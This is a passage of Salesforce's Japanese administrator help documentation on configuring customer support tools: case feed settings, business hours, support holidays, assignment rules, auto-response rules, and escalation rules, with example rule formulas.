のケースを更新したセルフサービスまたはカスタマー
ポータルユーザが、ケース所有者から「不在」メール
を受信しないように設定できます。

ケースの所有者が別のユーザに変更されたときに、
ケースで [メールで通知する] が自動的に選択される

ケース所有権の変更時にケース所有者に通知

ようにするには、このチェックボックスをオンにしま
す。これにより、他のユーザがケースの新しい所有者
になったことをそのユーザに必ず通知できます。
この設定を選択しても、ユーザがケース所有者を
キューに変更したときに [メールで通知する] が自動
的に選択されることはありません。

このチェックボックスをオンにしてケースの [状況]

項目に「クローズ」状況を追加すると、エージェント
クローズケースの状況項目を表示

は、[ケースのクローズ]ボタンをクリックしてケース
クローズページのレイアウト情報を更新しなくても
ケースをクローズできます。
[クローズケースの状況項目を表示]をオンにしても、
ケースのリストビューから[閉じる]ボタンは削除され
ません。その代わりに、状況のリストに [クローズ] が
追加されます。ケースのリストビューで複数のケース
を選択してから[状況の変更]をクリックすると、この
状況のリストから [クローズ] を選択できます。

上述の [クローズケースの状況項目を表示]をオンにす
ると、このボタンを選択できるようになります。この

[保存 & クローズ] ボタンおよび [完了] リンクを非
表示

ボタンをオンにすると、ケース編集ページの [保存し
て閉じる] ボタン、および [ケース] 関連リストの [完
了]リンクが不必要に表示されません。代わりに、ユー
ザは [状況] 項目と [保存] ボタンを使用してケースを
クローズします。
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説明項目

この設定を使用して、ケースフィード固有のアクショ
ンとフィード項目を有効化します。このオプションを

ケースフィードアクションおよびフィード項目を有効化

選択すると、既存のケースはケースフィードユーザイ
ンターフェースにアップグレードされます。

メールのフィード項目の本文で文字制限を設定するこ
とで、メールのフィード項目のサイズを制御します。
文字制限を次のように設定できます。

メールフィード項目本文のサイズ

• 小 = 400 文字 (デフォルト)

• 中 = 1200 文字
• 大 = 5000 文字
• カスタム = 400 から 5000 文字の間
メールのフィード項目の本文が文字制限を超えた場合
は、[さらに表示]をクリックすると、メールのフィー
ド項目の本文の残りを表示できます。

メールのフィード項目の本文から空白行を削除して
ケースフィードの領域を節約するには、このチェック
ボックスをオンにします。

メールフィード項目本文の空白行

メールのフィード項目の本文にある最新のメールのみ
を表示するには、このチェックボックスをオンにしま

メールフィード項目本文の以前のメールを折りたたむ

す。[さらに表示]をクリックすると、以前のメールを
スレッドに表示できます。

ケースフィードにデフォルトのメールテンプレートを
読み込む Apex クラスを指定する場合は、このチェッ

デフォルトメールテンプレートまたはメールアクション
のデフォルトハンドラを有効化

クボックスをオンにします。または、ケースフィード
で自動的にメールに取り込むことができるメール項目
のデフォルト値を指定する場合に、このチェックボッ
クスをオンにします。

この設定を使用して、メールドラフト機能を有効にし
ます。

メールドラフトを有効化

組織で、モデレータが Chatter の質問からケースを作
成できるようにします。

Salesforce で質問-to-ケースを有効化

顧客の最初のメールがサポートセンターに送信された
後で自動的に生成されるフィード項目が表示されるよ

顧客の最初のメール後に自動レスポンスレコードを作成

うに、ケースフィード項目とレコードの順序が変更さ
れています。
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メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できません。既存の組織は、引き続
きセルフサービスポータルを使用できます。

関連トピック:

カスタマーサポートの設定

営業時間の設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エンタイトルメントおよ
びマイルストンを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

営業時間を設定する
• 「営業時間の休日の管

理」

サポートチームが顧客に対応できる時間を指定します。これは、エスカレーショ
ンやマイルストンなどの部門のプロセスをより正確にするのに役立ちます。
営業時間を設定すると、特定のタイムゾーンと場所が次に適用されます。
• エンタイトルメントプロセスのマイルストン
• エンタイトルメントプロセス
• ケース
• ケースのエスカレーションルール
サポートチームがケースに対して作業可能な時間をサポートエージェントが設
定できるように、[営業時間] 項目をケースレイアウトページで使用できるよう
にすることもできます。デフォルトでは、営業時間は、組織プロファイルで指
定しているデフォルトのタイムゾーンで、24 時間週 7 日に設定されます。
また、「アプリケーションのカスタマイズ」権限を持つユーザは、営業時間を
エスカレーションルールに追加し、ケースの詳細がエスカレーションルールの
条件と一致するときには、そのケースの営業時間項目を自動的に更新し、ルー
ルに設定してある時間に基づいてエスカレーションすることができます。たと
えば、ロサンゼルスのサポートチームが有効になっている場合にのみ、ロサン
ゼルスの営業時間で更新されたケースがエスカレーションします。
営業時間を設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「営業時間」と入力し、[営業時間]

を選択します。
2. [新規営業時間] をクリックします。
3. 営業時間の名前を入力します。

ユーザがケース、エンタイトルメントプロセス、またはマイルストンの営業
時間を参照するときに場所やタイムゾーンがわかるような名前を使用することをお勧めします。たとえば、
サンフランシスコのサポートセンター用の営業時間の場合、「San Francisco Business Hours」(サン
フランシスコ営業時間) という名前を使用します。

4. [有効]をクリックすると、ユーザは営業時間をケース、エスカレーションルール、マイルストン、エンタ
イトルメントプロセスに関連付けることができます。

5. 必要に応じて、[デフォルトとして使用する] をオンにし、新規作成するケースすべてに対して、その営業
時間をデフォルトの営業時間として設定します。
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営業時間を上書きするよう設定されているエスカーレーションルールの条件に一致したケースの営業時間
は、そのエスカーレーションルールに従って更新されます。

6. [タイムゾーン] ドロップダウンリストで、営業時間に関連付けるタイムゾーンを選択します。
7. 各曜日の営業時間を設定します。

• サポートチームが毎日終日稼働できる場合、[24 時間] チェックボックスをオンにします。
• 営業時間の開始時間および終了時間を選択します。目的の時間を使用できない場合は、項目をクリック

して入力します。
• サポートチームがその日終日稼働できないことを示すには、営業時間の開始日時と終了日時を空白のま

まにし、[24 時間] チェックボックスをオフにします。

8. [保存] をクリックします。
営業時間を設定したら、営業時間を次の要素に関連付けることができます。
• エスカレーションルール。ケースの詳細がエスカレーションルールの条件と一致するときには、そのケー

スを更新してルールの営業時間でエスカレーションすることができます。
• 休日。営業時間と営業時間に関連付けられたエスカレーションルールは、それらに関連付けられた休日期

間中は中断されます。
• エンタイトルメントプロセスのマイルストン。ケースの重要度で営業時間が変わります。
• エンタイトルメントプロセス。同じエンタイトルメントプロセスを使用してケースに異なる営業時間を指

定できます。

メモ: 「設定・定義を参照する」ユーザ権限がないユーザを含むすべてのユーザが、API を使用して営業
時間を参照できます。

関連トピック:

営業時間設定のガイドライン
サポートの休日の設定
カスタマーサポートの設定

3180

営業時間の設定カスタマーサポートツールの設定および管理



営業時間設定のガイドライン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エンタイトルメントおよ
びマイルストンを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

サポートプロセスを正確にするには、サポートチームが顧客に対応できる時間
を定義します。営業時間を設定するうえで、いくつかのガイドラインがありま
す。
• 営業時間の設定後、[営業時間]参照項目をケースレイアウトに追加し、[営

業時間] 項目に項目レベルセキュリティを設定します。それにより、ケース
上で営業時間の表示と更新が可能になります。

• ケースの営業時間項目は、エスカレーションルールの条件にケースが一致し
ない場合、組織のデフォルトの営業時間が自動的に設定されます。

• Salesforce では、タイムゾーンを考慮してルールを設定する必要がないように
するため、営業時間のタイムゾーンの夏時間が自動的に計算されます。

• ケースの営業時間は、時間、分、秒でカウントされます。ただし、営業時間
が 24 時間未満の場合は、営業時間が終了する前の最後の 1 分では秒が無視さ
れます。たとえば、現在 4:30 PM で、5:00 PM に営業時間が終了するとします。
目標が 30 分のマイルストンがある場合、目標達成時間は通常 4:59 PM ではな
く 5:00 PM と考えられます。このため、5:00 PM になった時点で秒のカウント
が停止します。5:00:00 PM から 5:00:59 PM まで秒がカウントされると、30 分の
目標が 5:00:01 PM 以降に達成された場合は翌日に繰り越されることになりま
す。

• エスカレーションルールは、関連付けられた営業時間内でのみ実行されま
す。

• 営業時間を再度有効にすることなく、有効でない営業時間に関連するケースを更新できます。
• [営業時間] 項目は、リストビューやレポートに含めることはできません。
• 同じタイムゾーンの異なる時間帯で活動するサポートチームに対して、複数の営業時間を作成することが

できます。
• サポートセンターごとに営業時間のセットを 1 つ作成することをお勧めします。
• エスカレーションルールに組み込まれている営業時間を無効化することはできません。営業時間をエスカ

レーションルールを削除する必要があります。
• 最大 1000 件の休日を営業時間の各セットに関連付けることができます。
• エンタイトルメントを含むケースでは、階層に従って営業時間が適用されます。詳細は、「エンタイトル

メント管理での営業時間の機能」を参照してください。

メモ: 「設定・定義を参照する」ユーザ権限がないユーザを含むすべてのユーザが、API を使用して営業
時間を参照できます。

関連トピック:

営業時間の設定
サポートの休日の設定
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サポートの休日の設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エンタイトルメントおよ
びマイルストンを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

休日を設定する
• 「営業時間の休日の管

理」

休日を作成すると、カスタマーサポートチームが稼働していない日付と時刻を
指定できます。休日を作成したら、その休日を営業時間に関連付けることで、
休日の期間中、営業時間とエスカレーションルールを中断できます。
たとえば、12 月 31 日午後 8 時に開始し 1 月 2 日午前 9 時に終了する「元旦」と
いう休日を作成できます。この期間中は、エスカレーションルールおよびエン
タイトルメントマイルストンは適用されません。
1. [設定] から、[クイック検索] ボックスに「休日」と入力し、[休日] を選択し

ます。
2. [新規] をクリックするか、経過した休日名の横にある [コピー] をクリックし

ます。
コピーできるのは経過した休日だけです。

3. 休日の名前を入力します。
4. 休日の日付を入力します。

休日が 2 日以上に渡る場合の手順は、次のとおりです。
a. [繰り返しの休日] チェックボックスをオンにします。
b. [開始日] 項目に休日の開始日を入力します。
c. [終了日] 項目の [終了日なし] チェックボックスをオフにします。
d. [終了日] 項目に休日の終了日を入力します。

5. 必要に応じて、次の操作も実行できます。
• 休日の正確な時刻を指定するには、[時間]項目の横にある [終日]チェッ

クボックスをオフにして、正確な時刻を入力します。
• [繰り返しの休日]チェックボックスをオンにすることで、特定の期間中、

その休日を繰り返すようにスケジュールできます。
– [頻度] 項目で、休日が繰り返す頻度を選択します。[毎日]、[毎週]、または [毎月] 項目をクリッ

クすると、頻度条件を細かく指定できるオプションが表示されます。
– [開始日] 項目と [終了日] 項目に、休日を繰り返す期間を指定します。

選択した頻度条件に一致しない開始日と終了日を選択すると、「休日の繰り返しはありません」とい
うエラーメッセージが表示されます。

6. [保存] をクリックします。
7. [営業時間] 関連リストで [追加/削除] をクリックします。
8. [追加] および [削除] を使用して、休日に関連付ける営業時間を選択します。休日を複数の営業時間に関連

付けることができます。
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メモ: 「設定・定義を参照する」ユーザ権限がないユーザを含むすべてのユーザが、API を使用して休日
を参照できます。

関連トピック:

サポートの休日を作成するためのガイドライン
営業時間の設定
カスタマーサポートの設定

サポートの休日を作成するためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

休日を作成すると、カスタマーサポートチームが稼働していない日付と時刻を
指定できます。休日を設定および操作するうえで、いくつかのガイドラインが
あります。
• 最大 1000 件の休日を営業時間の各セットに関連付けることができます。
• 休日を作成するときは、休日が関連付けられる営業時間のタイムゾーンが自

動的に取得されます。たとえば、太平洋標準時間の営業時間に休日を関連付
けると、その休日は、太平洋標準時間の営業時間にのみ反映されます。

• [有効] のマークの付いた営業時間のみ、休日に追加できます。
• 休日名は一意である必要はありません。たとえば、「元旦」という名前で複

数の休日を作成できます。
• 現在、レポートの結果には、休日は反映されません。
• 毎月の特定の日に繰り返す休日をスケジュールした場合、その休日は、その日を含む月にのみ繰り返され

ます。たとえば、毎月 31 日に休日をスケジュールした場合、その休日は、31 日を含む月にのみ繰り返され
ます。毎月月末に繰り返す休日を作成する場合は、[毎月の指定日] ドロップダウンリストから [最終] を選
択します。

• 「設定・定義を参照する」ユーザ権限がないユーザを含むすべてのユーザが、API を使用して休日を参照で
きます。

関連トピック:

サポートの休日の設定
営業時間の設定
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割り当てルールの設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

リードの割り当てルール
を使用可能なエディショ
ン: Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ケースの割り当てルール
を使用可能なエディショ
ン: Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

割り当てルールを作成す
る
• 「アプリケーションの

カスタマイズ」

リードまたはケースの処理方法を決定する条件を定義します。
1. [設定] から、[クイック検索] ボックスに「割り当てルール」と入力し、[リー

ドの割り当てルール] または [ケースの割り当てルール] を選択します。
2. [新規] を選択し、ルール名を指定します。リードまたはケースが手動で作成

された場合、および Web またはメールを介して作成された場合に、このルー
ルを有効にするかどうかを指定します。その後、[保存] をクリックします。

3. ルールのエントリを作成するには、[新規] をクリックします。各エントリで
次の項目を指定できます。

説明項目

ルールに含まれるエントリの処理順序を設定します (1、2、3

など)。
Salesforceによって各エントリの処理順序が評価され、エントリ
の条件と照合されます。一致と判断されると、Salesforceによっ
てそのアイテムが処理され、ルールエントリの評価が終わり
ます。一致しない場合、そのアイテムは、デフォルトの [Web-to-

リード] 所有者、リードをインポートするシステム管理者、ま
たはデフォルトのケース所有者のどれかに再び割り当てられ
ます。

順序

リードまたはケースがルールを割り当てられるために必要な
条件を指定します。
ルール条件を入力します。

条件

• [条件が一致する] を選択し、ルールを適用するためにレ
コードが満たす必要のある検索条件を選択します。たとえ
ば、[優先度] 項目が [高] になっているケースレコードに
よってルールを実行するには、ケースの検索条件を [優先
度 次の文字列に一致する 高] に設定します。
組織で複数の言語を使用している場合は、検索条件は組織
のデフォルトの言語で指定します。それぞれ最大 255 文字
の範囲内で、検索条件を 25 個まで追加できます。
選択リストを使用して検索条件を指定すると、選択した値
が組織のデフォルト言語で保存されます。既存の検索条件
を編集またはコピーする場合は、最初に [組織情報] ページ
の [言語のデフォルト値]を、元の検索条件の設定に使用し
たものと同じ言語に設定します。一致していないと、検索
条件が期待どおりに評価されない可能性があります。

• [数式の評価が true になる] を選択し、「True」または
「False」の値を返す数式を入力します。Salesforce は、数式
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説明項目

が「True」を返した場合にルールを実行します。たとえば、数式 AND(ISCHANGED(

Priority ), ISPICKVAL (Priority, "High") ) は、[優先度] 項目が [高] に
変更されると、ケースの所有者を変更するルールを実行します。

条件にカスタム項目を使用した場合、そのカスタム項目が削除されると、ルールのエン
トリも自動的に削除されます。

リードまたはケースが条件と一致した場合に割り当てられるユーザまたはキューを指定
します。ここで指定したユーザを「無効」にすることはできません。また、リードや
ケースに対する「参照」権限を持っていることが必要です。

ユーザ

メモ: ルールに割り当てられているユーザに関連するリードやケースに対する「参
照」権限を取り消すことはできません。

組織でディビジョンを使用している場合は、この項目で指定されたユーザまたはキュー
のデフォルトのディビジョンにリードが割り当てられます。ケースは、関連付けられて
いる取引先責任者のディビジョンを継承します。取引先責任者が指定されていない場合
は、デフォルトのグローバルディビジョンに割り当てられます。

リードまたはケースの現在の所有者が、そのリードまたはケースが更新されたときに再
割り当てされないように指定します。

所有者を再割り
当てしない

新しい所有者に自動送信されるメールで使用されるテンプレートを指定します。テンプ
レートが指定されていないと、メールは送信されません。リードまたはケースをキュー

メールテンプ
レート

に割り当てるときは、通知はキューに指定された [メール] アドレスとすべてのキュー
のメンバーへ送信されます。

条件に一致する場合にケースに追加する定義済みケースチームを指定します。ケース
チームは、サポートエージェント、サポートマネージャ、製品マネージャなど、協力し
てケースを解決するユーザのグループです。
ルックアップアイコン ( ) をクリックして、割り当てルールに追加する定義済みケー
スチームを選択します。さらに定義済みケースチームを追加するには、[行を追加]リン

定義済みのケー
スチーム

クをクリックして、定義済みケースチームメンバーを追加できる新しい行を追加しま
す。

ケースが条件に一致する場合に、条件に一致する事前定義済みケースチームでそのケー
ス上のすべての既存の定義済みケースチームを置き換えることを指定します。

ケース上のすべ
ての既存の定義
済みケースチー
ムを置き換えて
ください

エントリを作成した後、[保存] をクリックするか、[保存 & 新規] をクリックしてエントリの保存および作成を
続行します。
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ヒント: エラーにならないルールを作成するには、必ず、最後のルールエントリを、条件を設定しないで
作成してください。このルールエントリは、以前のルールエントリで割り当てられなかったリードまた
はケースを捕捉します。

関連トピック:

割り当てルールの参照と編集
割り当てルールの管理

割り当てルールの参照と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

リードの割り当てルール
を使用可能なエディショ
ン: Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ケースの割り当てルール
を使用可能なエディショ
ン: Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

割り当てルールを変更す
る
• 「アプリケーションの

カスタマイズ」

割り当てルールを表示す
る
• 「設定・定義を参照す

る」

割り当てルールを参照および編集する
• ルール名を編集するには、ルール名の横にある [名前を変更]をクリックしま

す。
• ルールのエントリを編集するには、ルールリストからルール名を選択しま

す。ルールを追加する場合は [新規]をクリックし、編集または削除する場合
は [編集]または [削除] をクリックします。ルールを適用する順番を変更する
場合は [並び替え] を選択します。

関連トピック:

割り当てルールの設定
割り当てルールの管理
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割り当てルールの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

リードの割り当てルール
を使用可能なエディショ
ン: Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ケースの割り当てルール
を使用可能なエディショ
ン: Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

割り当てルールを作成ま
たは変更する
• 「アプリケーションの

カスタマイズ」

割り当てルールを作成して、組織のリードの生成とサポートプロセスを自動化
します。
• リードの割り当てルール — 手動で作成したリード、Web から取り込んだリー

ド、またはデータインポートウィザードを使用してインポートしたリードの
ユーザまたはキューへの割り当て方法を指定します。

• ケースの割り当てルール — Web-to-ケース、メール-to-ケース、オンデマンド
メール-to-ケース、セルフサービスポータル、カスタマーポータル、Outlook、
または Lotus Notes を使用して、ケースを手動で作成するときにユーザまたは
キューに割り当てる方法を指定します。

一般的に、組織では全般的な用途ごとに 1 つのルールを使用します。たとえば、
あるリード割り当てルールはインポートに使用し、別のリード割り当てルール
は Web で生成されたリードにします。また、あるケース割り当てルールは標準
的に使用し、別のケース割り当てルールは休日に使用します。ルール種別ごと
に、常に 1 つのルールのみ実施できます。
各ルールは、リードまたはケースの割り当て方法を厳密に指定する複数のルー
ルエントリで構成されます。たとえば、標準的なケースの割り当てルールとし
て、「種別」「次の文字列と一致する」「Gold」のケースは「ゴールドサービ
ス」キューに割り当てられ、「種別」「次の文字列と一致する」「Silver」のケー
スは「シルバーサービス」キューに割り当てられるという、2 つのエントリが考
えられます。
割り当てルールを作成するには、[設定] から [クイック検索] ボックスに「割り
当てルール」と入力し、[リードの割り当てルール]または[ケースの割り当てルー
ル] を選択します。

割り当てルールのサンプル
次のケース割り当てルールは、取引先評価に基づいてケースを特定のキューに
割り当てます。
ルール名  — 見込み有り取引先の割り当て
ルールエントリ

任命先条件順番

階層 1 サポートキューISPICKVAL(Account.Rating, "見込み有り")1
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任命先条件順番

階層 2 サポートキューOR( ISPICKVAL(Account.Rating, "将来見込み
有り") , ISPICKVAL(Account.Rating, "見込み
無し") )

2

関連トピック:

割り当てルールの設定
割り当てルールの参照と編集

自動レスポンスルールの設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

自動レスポンスルールを
作成する
• 「アプリケーションの

カスタマイズ」

レコードの属性に基づいてリードまたはケース登録に自動メールレスポンスを
送信します。顧客に問い合わせや問題の詳細を受け取ったことを知らせる返信
を即座に送信する、自動レスポンスルールを設定します。
自動レスポンスルールは、Web-to-リードフォームで取得したリードや、次のい
ずれかで送信されたケースに対して作成します。
• セルフサービスポータル
• カスタマーポータル
• Web-to-ケースのフォーム
• メール-to-ケースのメッセージ
• オンデマンドメール-to-ケースのメッセージ
受信したリードまたはケースの属性に基づいて、任意の数のレスポンスルール
を作成できます。ケースとリードに対して有効にできるルールは一度に 1 つず
つです。営業担当者とサービス担当者は、リードまたは取引先責任者の [活動履
歴] 関連リストとケースの [メール] 関連リストでメールレスポンスを確認できま
す。

自動レスポンスルールの作成
Web-to-リードのレスポンスルールを作成するには、[設定] から [クイック検索] ボックスに「自動レスポンス
ルール」と入力し、[リード自動レスポンスルール]を選択します。ケースのレスポンスルールを作成するには、
[設定] から [クイック検索] ボックスに「自動レスポンスルール」と入力し、[ケース自動レスポンスルール] を
選択します。自動レスポンスルールページで次の手順を実行します。
1. [新規] をクリックします。
2. ルール名を入力します。
3. このルールを唯一の有効なルールにするには、該当するチェックボックスをオンにします。
4. [保存] をクリックします。
5. ルールのエントリを作成します。
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レスポンスルールのエントリの作成
1. ルール詳細ページで [新規] をクリックします。
2. このエントリの処理順序を指定する番号を入力します。

ルールのエントリは指定の順序で処理され、最初に一致したエントリで処理が停止し、指定したメールテ
ンプレートを使用してメールが送信されます。適用するレスポンスルールがないときは、Web-to-ケースま
たは Web-to-リードの設定ページに指定したデフォルトのテンプレートが使用されます。

メモ: エラーにならないルールを作成するには、必ず、最後のルールエントリを、条件を設定しない
で作成してください。このルールエントリは、以前のルールエントリが捕捉しなかったリードまたは
ケースを捕捉します。デフォルトのテンプレートがないメール-to-ケースおよびオンデマンドメール
-to-ケースには特に重要です。

3. 次のようにして、ルール条件を入力します。
• [条件が一致する]を選択し、ルールを適用するためにレコードが満たす必要のある検索条件を選択しま

す。たとえば、[優先度]項目が [高] になっているケースレコードによってルールを実行するには、ケー
スの検索条件を [優先度 次の文字列に一致する 高] に設定します。
組織で複数の言語を使用している場合は、検索条件は組織のデフォルトの言語で指定します。それぞれ
最大 255 文字の範囲内で、検索条件を 25 個まで追加できます。
選択リストを使用して検索条件を指定すると、選択した値が組織のデフォルト言語で保存されます。既
存の検索条件を編集またはコピーする場合は、最初に [組織情報] ページの [言語のデフォルト値] を、
元の検索条件の設定に使用したものと同じ言語に設定します。一致していないと、検索条件が期待どお
りに評価されない可能性があります。

• [数式の評価が true になる]を選択し、「True」または「False」の値を返す数式を入力します。Salesforce

は、数式が「True」を返した場合にルールを実行します。たとえば、数式
AND(ISPICKVAL(Priority,"High"),Version<4.0)は、ケースの [優先度]項目が [高] に設定され、
ケースのカスタム項目 [バージョン] の値が 4 未満の場合に選択したテンプレートを使って自動的にレ
スポンスします。

4. 自動レスポンスメッセージの [送信者] 行に含める名前を入力します。
5. 自動レスポンスメッセージの [送信者] 行に含めるメールアドレスを入力します。これは、検証済みの組織

の共有メールアドレスか、Salesforce ユーザプロファイルのメールアドレスにする必要があり、メール-to-

ケースに使用するルーティングアドレスとは別にする必要があります。
6. 必要に応じて、返信先アドレスを入力します。
7. メールテンプレートを選択します。
8. メール-to-ケースのレスポンスルールエントリを作成する場合、[すべての受信者に返答を送信] を選択して

自動レスポンスメッセージを元のメッセージの [宛先] および Cc に指定された全員に送信します。
9. 作業を保存します。

関連トピック:

自動レスポンスルールとワークフローメールアラートの相違点
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自動レスポンスルールとワークフローメールアラートの相違点

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

自動レスポンスルールを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ワークフローを使用可能
なエディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

自動レスポンスルールとワークフローメールアラートは、同様の機能を提供し
ます。次の表に、どちらのプロセスを使用するかを決定するのに役立つ、ワー
クフローアラートと自動レスポンスルールのいくつかの違いを示します。

送信メール数メール送
信先

実行タ
イミン
グ

対象プロセスタ
イプ

メールアラートごとに 1 通
のメールが送信されます。
各ワークフロールールの
制限は次のとおりです。

選択した
ユーザ。

ケース
または
リード
が作成
された
か編集
された
とき。

利害関係者への
通知。

ワークフ
ローメール
アラート

• ルール適用時のアク
ションとして最大10回
のメールアラート

• 時間ベースのアクショ
ンとしてタイムトリガ
ごとに最大10回のメー
ルアラート

• 最大 10 回のトリガ

一連のルールエントリで
一致する最初のルールエ

ケースの
取引先責

ケース
または

ケースを作成し
た取引先責任者

自動レスポ
ンスルール

ントリ条件に基づき、1 件
のメールを送信。

任者また
は Web で
リードを

リード
が作成
された
とき。

または Web で
リードを登録し
たユーザへの最
初の応答。 登録した

ユーザ。

関連トピック:

自動レスポンスルールの設定
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エスカレーションルールの設定
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

エスカレーションルール
を作成または編集する
• 「アプリケーションの

カスタマイズ」

ケースがルールエントリに定義された条件を満たすと、ケースはエスカレーショ
ンルールによって自動的にエスカレーションされます。ケースのエスカレーショ
ン条件を定義するルールエントリと、ケースのエスカレーション時に実行する
内容を定義するエスカレーションアクションを作成できます。
始める前に次の作業を行ってください。
• ケースをキューに割り当てる場合は、キューを作成します。
• ケースのエスカレーション時に通知メールを送信する場合は、メールテンプ

レートを作成します。
Salesforce はエスカレーションルールをケースに割り当てるときに、ケースを調
べてルールエントリ内の条件と比較します。ケースがルールエントリに定義さ
れた条件に一致する場合は、エスカレーションアクションを実行します。
通常、組織は、複数のルールエントリで構成される 1 つのエスカレーションルー
ルを使用します。たとえば、標準的なケースエスカレーションルールには、[種
別]が「Gold」のケースが 2 時間以内にエスカレーションされるというエントリ
と、[種別]が「Silver」のケースが 8 時間以内にエスカレーションされるエント
リの 2 つが考えられます。
1. [設定] から、[クイック検索] ボックスに「エスカレーションルール」と入力

し、[エスカレーションルール] を選択します。
2. エスカレーションルールを作成します。

a. [新規]をクリックして、ルールに名前を付けます。このルールを有効なエスカレーションルールにする
かどうかを指定します。
有効なエスカレーションルールは一度に 1 つのみ持つことができます。

b. [保存] をクリックします。

3. [ケースのエスカレーションルール] ページで、使用するルールを選択します。
[ルールの詳細] ページが表示されます。

4. ルールエントリを作成します。ルールエントリでは、ケースをエスカレーションするために使用する条件
を定義します。
a. [エントリ] セクションで、[新規] をクリックします。各ルールエントリで、次の項目を指定できます。

• ルールエントリが評価される順番
• ケースのエスカレーション条件
• ケースをエスカレーションするときの営業時間の影響
• エスカレーション時刻の決定方法

b. [保存] をクリックします。
[エスカレーションアクション] ページが表示されます。

3191

エスカレーションルールの設定カスタマーサポートツールの設定および管理



5. エスカレーションアクションを定義します。エスカレーションアクションでは、ケースをいつエスカレー
ションするか、およびケースのエスカレーション時に何を実行するかを指定します。ルールエントリごと
にアクションを 5 つまで追加し、長時間にわたってケースをエスカレーションできます。
a. [エスカレーションアクション] セクションで、[新規] をクリックします。各エスカレーションアクショ

ンで、次の操作を実行できます。
• [経過時間] 項目に時間を入力して、ケースをエスカレーションする時間を指定します。この時間数

を経過してもケースが解決しない場合にケースをエスカレーションします。時間数と [0 分] または
[30 分] を指定できます。たとえば、1 時間 0 分や 1 時間 30 分と指定できます。

• ケースを別のユーザまたはキューに再割り当てし、新しい割り当て先 (新しいケース所有者) に通知
メールを送信するメールテンプレートを選択します。

• 他のユーザ、現在のケース所有者、または他のメール受信者に通知メールを送信します。

b. [保存] をクリックします。

関連トピック:

エスカレーションルールエントリ
エスカレーションアクション
ケースのエスカレーションルールキューの監視

エスカレーションルールの例とベストプラクティス

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エスカレーションルールエントリとエスカレーションアクションのさまざまな
オプションがケースのエスカレーション方法とエスカレーションのタイミング
にどのように影響するかを、例を使って確認します。

関連トピック:

エスカレーションルールエントリ
エスカレーションアクション

3192

エスカレーションルールの設定カスタマーサポートツールの設定および管理



エスカレーションルールエントリ

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エスカレーション条件では、ケースをエスカレーションする条件を指定します。
条件はルールエントリに保存されます。
Salesforce はエスカレーションルールをケースに割り当てるときに、ケースを調
べてルールエントリ内の条件と比較します。ケースがルールエントリに定義さ
れた条件に一致する場合は、エスカレーションアクションを実行します。
エスカレーションルールエントリの各部分について詳しく見てみましょう。ま
た、各ステップのベストプラクティスについても説明します。

ステップ 1: ルールエントリの順序
[並び替え順] では、Salesforce でルールエントリを評価する順番を決定します [1]。通常、組織は、複数の
ルールエントリで構成される 1 つのエスカレーションルールを使用します。
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ヒント: 最も複雑なルールエントリを並び替え順の先頭に配置することをお勧めします。汎用的なルー
ルエントリは並び替え順の最後に配置します。
5 つのルールエントリがあるとします。Salesforceは最初のルールエントリを参照し、その条件がケース
に一致するかどうかを確認します。条件が一致する場合、Salesforce は評価を停止してケースをエスカ
レーションします。条件が一致しない場合、Salesforce は 2 番目のルールエントリを参照して一致する
かどうかを確認し、一致が見つかるまで、この処理を繰り返します。
1 番目のルールエントリが汎用的な場合、ここで一致すると、Salesforceはその後のルールエントリの評
価を続けることなくケースをエスカレーションします。
汎用的な「万能」ルールエントリは、ルールエントリ順序の最後に配置することをお勧めします。万
能なルールエントリは、他のルールエントリで指定した条件に一致しないケースをエスカレーション
するように設計します。たとえば、48 時間以上オープンになっているケースをエスカレーションする
場合が考えられます。残りのすべてのケースを捕捉するように、条件を含まないルールエントリを作
成し、ケースの作成から 48 時間後にケースをエスカレーションするように指定します。

ステップ 2: ルールエントリ条件
